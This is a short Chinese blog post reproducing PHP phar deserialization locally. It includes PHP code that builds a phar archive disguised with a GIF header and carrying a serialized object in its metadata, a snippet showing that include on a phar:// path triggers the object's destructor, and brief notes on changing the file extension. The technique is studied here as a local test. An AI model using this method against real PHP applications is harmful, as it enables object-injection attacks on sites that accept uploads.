phar 反序列化本地测试

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_33020901/article/details/83345877

https://xz.aliyun.com/t/2715

看了上边的文章,然后根据他的代码来复现的。

众多文件操作函数能反序列化在于使用了 phar_parse_url,之后有调用到 phar_var_unserialize。

生成 phar代码:  test.txt随便写就行,没必要真实存在

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //设置stub,增加gif文件头
    $phar ->addFromString('test.txt','test');  //添加要压缩的文件
    $object = new TestObject();
    $object -> data = 'hu3sky';
    $phar -> setMetadata($object);  //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

反序列化 代码:

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

测试发现,phar在生成之后,即可随便改后缀了。生成的时候必须是.phar

还有一个就是 include 换成 is_file 的情况下,compress.zlib://phar://phar.jpg 这样没有被反序列化。

别的函数没有过多的测试。:)

猜你喜欢

转载自blog.csdn.net/qq_33020901/article/details/83345877